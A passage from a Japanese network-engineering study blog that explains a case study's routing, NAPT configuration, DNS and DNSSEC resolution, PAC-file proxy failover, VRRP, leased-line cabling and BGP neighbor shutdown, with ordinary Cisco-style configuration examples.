<li><strong>長年の契約とコスト・移行リスク</strong> <br>すでにD社と長期契約（数年単位の割引等）を結んでいたり、全国数十拠点の設定変更・乗り換え工事に膨大なコストとリスクがかかるため、既存網を活かしたままクラウド接続部分だけを追加・拡張するケースが多く存在する。</li>
</ul>



<h3 class="wp-block-heading"><span id="toc30">p.3 A社の静的経路制御とは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="596" height="50" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-52.png" alt="" class="wp-image-8200" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-52.png 596w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-52-300x25.png 300w" sizes="(max-width: 596px) 100vw, 596px" /></figure>



<p class="wp-block-paragraph">スタティック設定にしていると記されているが、具体的にどの機器でどんなスタティック設定をしているのか？現在の構成（図1）を見ると、通信の行き先は主に<span class="bold-blue">3パターンしかない</span>ので、それらを見ていこう！</p>



<ol start="1" class="wp-block-list">
<li><strong>本社PCから営業所やIaaSへ行く通信</strong>
<ul class="wp-block-list">
<li><strong>L3SW10</strong>：物理的にFW10にしかつながっていないので、ネクストホップはすべてFW10になる</li>



<li><strong>FW10</strong>：FW10は「<code>192.168.1.0/24</code>（B社IaaS）や営業所宛てのパケットが来たら、ネクストホップ（次の送り先）を R11 に向ける」というスタティック経路を手動で書き込んでいる。</li>
</ul>
</li>



<li><strong>本社からインターネットへ行く通信</strong>
<ul class="wp-block-list">
<li><strong>L3SW10</strong>：物理的にFW10にしかつながっていないので、ネクストホップはすべてFW10になる</li>



<li><strong>FW10の設定</strong>：「デフォルトルート（<code>0.0.0.0/0</code>：どこにも該当しない外向けの通信）は R10 に向ける」というスタティック経路を設定している。</li>
</ul>
</li>



<li><strong>営業所から本社やIaaSへ行く通信</strong>
<ul class="wp-block-list">
<li><strong>R20（営業所ルータ）の設定</strong>：「本社やIaaS宛て、あるいはインターネット宛ての通信はすべて <strong>D社閉域網（R21）</strong> に向ける」というスタティック経路を設定してる。</li>
</ul>
</li>
</ol>



<h3 class="wp-block-heading"><span id="toc31">p.3 &#8220;開発サーバをシステム部が構築&#8221;って具体的に何をやっているの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="862" height="98" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-53.png" alt="" class="wp-image-8201" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-53.png 862w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-53-300x34.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-53-765x87.png 765w" sizes="(max-width: 862px) 100vw, 862px" /></figure>



<p class="wp-block-paragraph">A.開発担当者には、あたかも「物理サーバがすぐそこにある」という状態で渡したい。そのために以下の設定が必要になる。<br>＊ちなみに、「開発サーバ」とはシステムを開発するためのサーバ。このサーバ上で多くのトライ＆エラーやりながら開発を進めていく。「テストサーバ」は開発サーバである程度形になったものの挙動をテストするためのサーバ。このテストサーバ上で、コードの修正などは基本的に実施しない。<br><strong>▼構築</strong></p>



<ul class="wp-block-list">
<li><strong>インフラリソースの手配</strong>：B社IaaS上で仮想マシン（VM）を作成（CPU・メモリ・ディスク容量の割り当て）</li>



<li><strong>ネットワーク・IP設定</strong>：社内からアクセスできるように<span class="blue">プライベートIPアドレス</span>（<code>192.168.1.x</code>）を付与し、ルーティングやFW/セキュリティグループを設定<br>＊開発担当者に直接仮想サーバを作らせると、内部でIPアドレスの重複が起きたり、セキュリティ設定が甘くなったりして、踏み台にされてしまうリスクがある。そのため、システム部門で一元管理している。</li>



<li><strong>OSのインストール・初期設定</strong>：LinuxやWindows ServerなどのOSを導入し、セキュリティパッチの適用や最低限のアカウントを作成</li>
</ul>



<p class="wp-block-paragraph"><strong>▼引き渡し</strong></p>



<ul class="wp-block-list">
<li><strong>アクセス用情報の提供</strong>：「IPアドレス（またはホスト名）」「管理用アカウント（管理者IDと初期パスワード、またはSSH秘密鍵）」を担当部門に通知する。</li>



<li><strong>利用環境の案内</strong>：「社内PCからSSHやリモートデスクトップ（RDP）でアクセスして開発に使ってください」と伝達する。</li>
</ul>



<p class="wp-block-paragraph"><strong>▼引き渡し後<br></strong>引き渡された後、開発サーバBの中で何をするかは<strong>担当部門（現場のエンジニア）の責任</strong>になります。</p>



<ul class="wp-block-list">
<li><strong>ミドルウェア・開発環境の導入</strong>：Webサーバ（Apache/Nginx）、データベース（MySQL等）、PythonやJavaなどのプログラミング言語環境のインストール</li>



<li><strong>ソースコード・アプリの配置</strong>：開発するシステムのプログラムを入れて動かす</li>



<li><strong>日々の運用管理</strong>：アプリのログ管理、開発メンバー用のアカウント追加・削除、不要になった際のシャットダウンや再起動</li>
</ul>



<h3 class="wp-block-heading"><span id="toc32">p.3 サーバがプロキシを使うとは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="836" height="129" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-55.png" alt="" class="wp-image-8206" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-55.png 836w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-55-300x46.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-55-765x118.png 765w" sizes="(max-width: 836px) 100vw, 836px" /></figure>



<p class="wp-block-paragraph">プロキシを使う対象として、ブラウザとサーバが挙げられている。ブラウザはわかるけど、サーバにプロキシを指定って。。。どのサーバのこと？</p>



<p class="wp-block-paragraph">A.開発サーバにはどのプロキシを使うかの設定が必要。APIやライブラリなどと連携するときにインターネットからそれらの情報を取得したりする必要があるので開発サーバにもプロキシ設定は必要。</p>



<h3 class="wp-block-heading"><span id="toc33">Q.NAPTとは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="822" height="122" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-58.png" alt="" class="wp-image-8209" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-58.png 822w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-58-300x45.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-58-761x113.png 761w" sizes="(max-width: 822px) 100vw, 822px" /></figure>



<p class="wp-block-paragraph">NAPT（IPマスカレード）とは送信元IPアドレスに加え「<span class="bold-blue">送信元ポート番号</span>」も一緒に変換することで、1つのグローバルIPを複数の内部機器で同時に共有できるようにするアドレス変換技術。</p>



<h4 class="wp-block-heading"><span id="toc34">▼NAPT雑学</span></h4>



<p class="wp-block-paragraph">ポートは2<sup>16</sup>、つまり総数は65,536個。その中の0~1023はウェルノウンポートとして予約されている。つまり、1つのアドレスで表現できる総数は、65536-1024=<span class="bold-blue">64,512個</span>となる。</p>



<h4 class="wp-block-heading"><span id="toc35">▼NAPT実装コマンド</span></h4>



<p class="wp-block-paragraph">①インターフェースの内外(inside/outside)を指定<br>②内部から外部への変換対象を定義(アクセスリスト)<br>③NAT/PATを有効化するコマンドを設定<br>④確認・検証</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#１．インターフェースの内外(inside/outside)を指定
Router(config)# interface GigabitEthernet0/0
Router(config-if)# ip address 192.168.1.1 255.255.255.0
Router(config-if)# ip nat inside
Router(config-if)# exit

Router(config)# interface GigabitEthernet0/1
Router(config-if)# ip address 203.0.113.1 255.255.255.0
Router(config-if)# ip nat outside
Router(config-if)# exit

#２．変換したい内部ネットワーク(送信元アドレス範囲)を指定
Router(config)# access-list 1 permit 192.168.1.0 0.0.0.255

#３．パターン１（プールを使わない場合）
Router(config)# ip nat inside source list 1 interface GigabitEthernet0/1 overload

#３．パターン２（プールを使う場合＝グローバルIPが複数ある場合）
Router(config)# ip nat pool MYPOOL 203.0.113.10 203.0.113.20 netmask 255.255.255.0
Router(config)# ip nat inside source list 1 pool MYPOOL overload

#４．確認
#現在の変換テーブルの確認
Router# show ip nat translations
#NATの統計情報(ヒット数、インターフェース設定など)を確認
Router# show ip nat statistics" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#１．インターフェースの内外(inside/outside)を指定</span></span>
<span class="line"><span style="color: #A6E22E">Router(config</span><span style="color: #F8F8F2">)# interface GigabitEthernet0/0</span></span>
<span class="line"><span style="color: #A6E22E">Router(config-if</span><span style="color: #F8F8F2">)# ip address 192.168.1.1 255.255.255.0</span></span>
<span class="line"><span style="color: #A6E22E">Router(config-if</span><span style="color: #F8F8F2">)# ip nat inside</span></span>
<span class="line"><span style="color: #A6E22E">Router(config-if</span><span style="color: #F8F8F2">)# exit</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">Router(config</span><span style="color: #F8F8F2">)# interface GigabitEthernet0/1</span></span>
<span class="line"><span style="color: #A6E22E">Router(config-if</span><span style="color: #F8F8F2">)# ip address 203.0.113.1 255.255.255.0</span></span>
<span class="line"><span style="color: #A6E22E">Router(config-if</span><span style="color: #F8F8F2">)# ip nat outside</span></span>
<span class="line"><span style="color: #A6E22E">Router(config-if</span><span style="color: #F8F8F2">)# exit</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#２．変換したい内部ネットワーク(送信元アドレス範囲)を指定</span></span>
<span class="line"><span style="color: #A6E22E">Router(config</span><span style="color: #F8F8F2">)# access-list 1 permit 192.168.1.0 0.0.0.255</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#３．パターン１（プールを使わない場合）</span></span>
<span class="line"><span style="color: #A6E22E">Router(config</span><span style="color: #F8F8F2">)# ip nat inside source list 1 interface GigabitEthernet0/1 overload</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#３．パターン２（プールを使う場合＝グローバルIPが複数ある場合）</span></span>
<span class="line"><span style="color: #A6E22E">Router(config</span><span style="color: #F8F8F2">)# ip nat pool MYPOOL 203.0.113.10 203.0.113.20 netmask 255.255.255.0</span></span>
<span class="line"><span style="color: #A6E22E">Router(config</span><span style="color: #F8F8F2">)# ip nat inside source list 1 pool MYPOOL overload</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#４．確認</span></span>
<span class="line"><span style="color: #88846F">#現在の変換テーブルの確認</span></span>
<span class="line"><span style="color: #A6E22E">Router#</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">show</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">nat</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">translations</span></span>
<span class="line"><span style="color: #88846F">#NATの統計情報(ヒット数、インターフェース設定など)を確認</span></span>
<span class="line"><span style="color: #A6E22E">Router#</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">show</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">nat</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">statistics</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc36">Q.キャッシュDNSサーバのフローはどうなってる？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="829" height="92" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-59.png" alt="" class="wp-image-8212" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-59.png 829w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-59-300x33.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-59-766x85.png 766w" sizes="(max-width: 829px) 100vw, 829px" /></figure>



<p class="wp-block-paragraph"><strong>1. PC ➔ キャッシュDNSサーバ</strong></p>



<ul class="wp-block-list">
<li>PCはDHCP等で知らされた「キャッシュDNSサーバのIP」宛てに名前解決要求（53番ポート宛て）を送信する。</li>
</ul>



<p class="wp-block-paragraph"><strong>2. キャッシュDNS ➔ ルートDNSサーバ（1段階目）</strong></p>



<ul class="wp-block-list">
<li>キャッシュDNSはあらかじめ保持している「ルートヒント」からルートDNSのIPを選ぶ。</li>



<li>パケット：送信元＝[キャッシュDNSのIP : <span class="bold-blue"><strong>ランダムなポートA</strong>]</span> ➔ 宛先＝[ルートDNSのIP : 53]</li>



<li>FW10のNAPT：送信元を「FW10のグローバルIP : <strong><span class="bold-blue">ランダムなポートB</span></strong>」に動的NAPT変換して外へ送出。</li>



<li>応答：ルートDNSから「.jp を管理するTLDサーバのIPアドレス」が返ってくる。</li>
</ul>



<p class="wp-block-paragraph"><strong>3. キャッシュDNS ➔ TLD（.jp）DNSサーバ（2段階目）</strong></p>



<ul class="wp-block-list">
<li>同様に、ランダムな送信元ポートを使ってTLDサーバへ問い合わせる。</li>



<li>応答：TLDサーバから「co.jp を管理するDNSサーバのIPアドレス」が返ってくる。</li>
</ul>



<p class="wp-block-paragraph"><strong>4. キャッシュDNS ➔ 権威DNSサーバ（3段階目）</strong></p>



<ul class="wp-block-list">
<li>最終的に <code>example.co.jp</code> を管理する権威DNSサーバへ問い合わせる。</li>



<li>応答：権威DNSから <code>www.example.co.jp</code> の最終的なIPアドレス（例: <code>192.0.2.1</code>）を取得する。</li>
</ul>



<p class="wp-block-paragraph"><strong>5. キャッシュDNS ➔ PC</strong></p>



<ul class="wp-block-list">
<li>取得したIPアドレスをPCに回答し、同時にその結果を一定時間（TTL）自身の中にキャッシュ（保存）。</li>
</ul>



<h3 class="wp-block-heading"><span id="toc37">Q.DNSSECとは？</span></h3>



<p class="wp-block-paragraph">DNSSECとはキャッシュポイズニングを防止する技術の一つ。では、フローを見ながら理解していこう！</p>



<h4 class="wp-block-heading"><span id="toc38">ステップ1：レコード自体の検証（ZSKを使用）</span></h4>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>対象</strong>：Aレコードなど</span></li>



<li><span class="fz-16px"><strong>検証</strong>：権威DNSから取得した<span class="blue"><span class="bold-blue">DNSKEYレコード</span></span>内の<span class="bold-blue"> <strong>ZSK<span class="fz-16px"><span class="bold-blue">(ZoneSigningKey)</span></span>公開鍵</strong></span> を使い、Aレコードに付いている <span class="bold-blue"><strong>RRSIG(Resource Record Signature)</strong> </span>を検証する。<br>＊RRSIG（A)は権威DNSがAレコードから生成したハッシュ値を<span class="bold-blue">ZSK秘密鍵</span>で暗号化したもの。<br>＊検証するときは検証側が<span class="bold-blue">ZSK公開鍵</span>で署名を復号し、出てきたハッシュ値と検証側でも生成したハッシュ値が一致することを確認する。</span></li>



<li><span class="fz-16px"><strong>結果</strong>：Aレコードが改ざんされていないことが判明。</span></li>
</ul>



<h4 class="wp-block-heading"><span id="toc39">ステップ2：ZSK公開鍵の検証（KSKを使用）</span></h4>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>対象</strong>：ZSK公開鍵が含まれる「DNSKEYレコード」</span></li>



<li><span class="fz-16px"><strong>検証</strong>：権威DNSから取得した <span class="bold-blue"><strong>KSK(KeySigningKey)の公開鍵</strong> </span>を使い、DNSKEYレコードに付いている RRSIG(DNSKEY) を検証する。</span></li>



<li><span class="fz-16px"><strong>結果</strong>：ZSK公開鍵が本物であることが判明。</span></li>
</ul>



<h4 class="wp-block-heading"><span id="toc40">ステップ3：KSK公開鍵の検証（親ゾーンと連携）</span></h4>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>対象</strong>：KSK公開鍵</span></li>



<li><strong>検証</strong>：
<ol start="1" class="wp-block-list">
<li><span class="fz-16px">親ゾーン（例：<code>.jp</code>）へ問い合わせて <span class="bold-blue"><strong>DSレコード</strong>(Delegation Signer)</span>（＝子ゾーンのKSK公開鍵のハッシュ値）を取得する。</span></li>



<li><span class="fz-16px">手元にあるKSK公開鍵を自分でハッシュ化し、親からもらったDSレコードと一致するか比較する。</span></li>
</ol>
</li>



<li><span class="fz-16px"><strong>結果</strong>：KSK公開鍵が親ゾーンによって保証された本物であることが判明。</span></li>
</ul>



<h3 class="wp-block-heading"><span id="toc41">p.5 プロキシサーバを動的に切り替える方法は？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="785" height="68" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-62.png" alt="" class="wp-image-8215" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-62.png 785w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-62-300x26.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-62-762x66.png 762w" sizes="(max-width: 785px) 100vw, 785px" /></figure>



<p class="wp-block-paragraph">案１を見ると、障害が起きるとプロキシCを使いたい旨の記載がある。では、具体的にどうやっているのか？</p>



<p class="wp-block-paragraph"><strong>１．DNSを変更している<br></strong>　DNSでFQDNに対するIPアドレスをBからCのアドレスに変更すれば、必然的にCのプロキシが使われることになる。<br><strong>２．PACファイル</strong><br>　PACファイルだと動的にクライアント側が宛先を変更できるため、以下のような設定をすればプロキシCが使われる。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#通常時はproxybで名前解決されるが障害が起きると、２つ目のproxycが利用される。
return &quot;PROXY proxyb.a-sha.co.jp:8080; PROXY proxyc.a-sha.co.jp:8080&quot;;" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#通常時はproxybで名前解決されるが障害が起きると、２つ目のproxycが利用される。</span></span>
<span class="line"><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;PROXY proxyb.a-sha.co.jp:8080; PROXY proxyc.a-sha.co.jp:8080&quot;</span><span style="color: #F8F8F2">;</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc42">p.7 Q.マルチホーム環境でも静的経路で対応できるのでは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="514" height="36" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-71.png" alt="" class="wp-image-8233" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-71.png 514w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-71-300x21.png 300w" sizes="(max-width: 514px) 100vw, 514px" /></figure>



<p class="wp-block-paragraph">結論から言うと、「FW10でIP SLA＋スタティック制御を行う」というアイデアは、A社から出ていく通信（往路）だけを見れば動くように思えるが、実際のネットワーク構築（特に復路通信、プロバイダ連携、運用性）においては致命的な欠陥が4あり、採用できない。</p>



<p class="wp-block-paragraph">・復路を制御できない<br>例えば、R11とR12間をFW10がIP slaで監視したとする。そして、経路に障害が起きたらサブルートであるR13とR14の経路を優先させる静的ルートを設定しておく。これだと、A社側からの通信はR13経由にできる。しかし、外部からはR11とR12間で障害が起きていることを知らないので、R12宛ての経路が届いてしまう。。<br>では、仮にR12でip slaを稼働させR11とR12を観察し、その結果をMP-BGPでD社閉域網に流すという方法であれば実現できなくもない。(トラッキングで当該ルートを削除。→RIBから情報が消える→BGPの参照先であるRIB当該経路が消えたことを検知→BGPでwithdrawを流す）</p>



<p class="wp-block-paragraph">しかし、それは現実的じゃない。というか、そもそも、そのような動的に経路を変更したりできるものが動的なルーティングプロトコルである。なので、経路が複数ある場合は基本的に静的ではなく動的なルーティングプロトコルの制御を使うのがベターとなる。</p>



<h3 class="wp-block-heading"><span id="toc43">Q.VRRPとは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="757" height="315" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-73.png" alt="" class="wp-image-8236" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-73.png 757w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-73-300x125.png 300w" sizes="(max-width: 757px) 100vw, 757px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="733" height="87" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-74.png" alt="" class="wp-image-8237" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-74.png 733w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-74-300x36.png 300w" sizes="(max-width: 733px) 100vw, 733px" /></figure>



<p class="wp-block-paragraph"><span class="bold-blue">VRRP（VirtualRouterRedundancyProtocol）</span>とはデフォルトルートを冗長化するためのプロトコル。複数のルータを１つのルータのように振舞わせることで、１台が故障してもほかのルータで通信を継続させることができる。</p>



<h4 class="wp-block-heading"><span id="toc44">▼障害検知方法</span></h4>



<p class="wp-block-paragraph">マスターが１秒ごとにマルチキャスト<span class="bold-blue">224.0.0.18</span>宛てにAdvertisementを送る。これがタイムアウト時間届かないと、バックアップは障害と検知して仮想IP/仮想MACを引き継ぎGARPを送信する。</p>



<p class="wp-block-paragraph"><strong>▼FHRP（First Hop Redundancy Protocol）とOSPF</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>プロトコル</strong></td><td><strong>主系（稼働側）</strong></td><td><strong>副系（待機側）</strong></td><td><strong>補足・その他の役割</strong></td></tr></thead><tbody><tr><td><strong>VRRP</strong></td><td><strong>Master</strong></td><td><strong>Backup</strong></td><td>標準規格（RFC）。</td></tr><tr><td><strong>HSRP</strong></td><td><strong>Active</strong></td><td><strong>Standby</strong></td><td>Cisco独自。<code>standby</code> コマンドで設定。</td></tr><tr><td><strong>GLBP</strong></td><td><strong>AVG</strong> <em>(Active Virtual Gateway)</em></td><td><strong>SVG</strong> <em>(Standby Virtual Gateway)</em></td><td>Cisco独自（負荷分散型）。転送担当は <strong>AVF</strong> <em>(Active Virtual Forwarder)</em>。</td></tr><tr><td><strong>OSPF</strong></td><td><strong>Master</strong></td><td><strong>Slave</strong></td><td>冗長化ではなく、DBDパケット同期（ExStart状態）時の制御関係。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc45">p.8 Q.専用線で接続するとは物理的にどうやっているの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="551" height="71" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-81.png" alt="" class="wp-image-8244" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-81.png 551w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-81-300x39.png 300w" sizes="(max-width: 551px) 100vw, 551px" /></figure>



<p class="wp-block-paragraph">A社からD社まで直通の超長いケーブルを1本物理的に引っ張るわけではない。通信事業者（NTT等）がすでに地下や電柱に張り巡らせている既存の光ファイバー網（インフラ）を活用し、両端の拠点へケーブルを引き込んで接続している。</p>



<h4 class="wp-block-heading"><span id="toc46">Q.物理的にどう繋がっているのか？</span></h4>



<p class="wp-block-paragraph">A社本社のR13からD社網のR14までは、以下の3つの区間で物理的につながっている</p>



<ul class="wp-block-list">
<li><strong>１．A社側の引き込み（ラストワンマイル）</strong><br>①電柱やビル地下の<span class="bold-blue">クロージャ</span>から通信事業者の光ファイバーの先端とA社側ケーブルの先端をつなぐ。<br>②A社側のもう一方の先端は<span class="bold-blue">端子盤</span>につなぐ<br>③端子盤と<span class="bold-blue">ONU</span>（光回線終端装置）をつなぐ<br>④ONUが光信号を電気信号に変えて<span class="bold-blue">R13</span>につなぐ</li>



<li><strong>２．通信事業者のビル間ネットワーク（中継網）</strong><br>①A社から引き込んだ光信号は、最寄りのNTT等の<span class="bold-blue">基地局</span>（収容局）へ入る。<br>②ここから先は、地下に埋まっている既存の巨大な光ファイバー網を通じて、<span class="bold-blue">D社最寄りの基地局</span>まで運ばれる</li>



<li><strong>３．D社側の引き込み</strong><br>A社側と同様に、D社拠点（R14側）のビルにも光ファイバーが引き込まれ、D社側のONUに繋がる</li>
</ul>



<h3 class="wp-block-heading"><span id="toc47">p.8 Q.なぜBGPをすぐに確立しないの？また、それは技術的に可能なの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="710" height="64" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-83.png" alt="" class="wp-image-8247" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-83.png 710w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-83-300x27.png 300w" sizes="(max-width: 710px) 100vw, 710px" /></figure>



<p class="wp-block-paragraph">A.「BGP設定を入れてもセッションを確立させない」ことは技術的に可能。また、一括して確立させない理由は設定途中の「中途半端な状態」での経路流入事故を防ぐため。<br>要は、手動で１行ずつ設定していくと、行と行の間で数秒間経過してしまい、その間にフィルタリングをする前に情報が流入・流出してしまうのでそれを防ごうねということ。</p>



<h4 class="wp-block-heading"><span id="toc48">確立させない方法</span></h4>



<p class="wp-block-paragraph">BGPの設定コマンドの中に <code>neighbor &lt;IPアドレス> shutdown</code> という命令を書いておく。 これを書いておくと、設定自体はルータに保存されるが、相手（ピア）へBGPの接続要求（OPENメッセージ）を送らなくなる。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#無効化させるとき
neighbor &lt;IPアドレス&gt; shutdown

#有効化させるとき
no neighbor &lt;IPアドレス&gt; shutdown" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#無効化させるとき</span></span>
<span class="line"><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">&lt;</span><span style="color: #E6DB74">IPアドレ</span><span style="color: #F8F8F2">ス</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">shutdown</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#有効化させるとき</span></span>
<span class="line"><span style="color: #A6E22E">no</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">&lt;</span><span style="color: #E6DB74">IPアドレ</span><span style="color: #F8F8F2">ス</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">shutdown</span></span></code></pre></div>



<h4 class="wp-block-heading"><span id="toc49">Q.即座にBGP起動するとどういう不具合があるの？</span></h4>



